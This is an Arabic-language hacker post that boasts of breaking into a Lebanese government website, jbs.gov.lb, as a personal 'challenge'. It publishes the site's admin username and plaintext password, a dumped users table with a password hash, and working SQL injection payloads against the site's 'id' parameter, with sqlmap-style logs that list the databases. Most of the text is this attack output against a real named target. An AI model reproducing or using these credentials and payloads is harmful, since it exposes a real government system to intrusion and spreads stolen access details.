جني محجوز - اختراق موقع حكومي لبناني jbs.gov.lb

اختراق موقع حكومي لبناني

www.twitter.com/JM511
Follow me
BBM: 21EB3DBB

سبب الاختراق

تحدي بسام اللبناني ..

اجل تتحداني يا بسام ؟

الموقع المستهدف : www.jbs.gov.lb
اليوزر نيم : admin
الباسورد : jeanjbs2012

 دع القيادة وتمتع بالاختراق
جني محجوز
+----------------+----+-----------+--------------+----------------------------------+-----------+----------+
| authentication | id | is_locked | login_trials | password                         | privilege | username |
+----------------+----+-----------+--------------+----------------------------------+-----------+----------+
| LOCAL          | 1  | 0         | 0            | 85e8803b71e5c79ed664e0be55074b57 | 1         | admin    |
+----------------+----+-----------+--------------+----------------------------------+-----------+----------+


---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=12' AND 8958=8958 AND 'YKjP'='YKjP

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=-8325' UNION ALL SELECT CONCAT(0x3a64696c3a,0x54754644444764717665,0x3a7564693a), NULL# AND 'FWoR'='FWoR
---

[02:13:43] [INFO] testing MySQL
[02:13:44] [INFO] confirming MySQL
[02:13:47] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[02:13:47] [INFO] fetching database names
[02:13:48] [INFO] the SQL query used returns 2 entries
[02:13:49] [INFO] retrieved: "information_schema"
[02:13:50] [INFO] retrieved: "jbs_db"
available databases [2]:
[*] information_schema
[*] jbs_db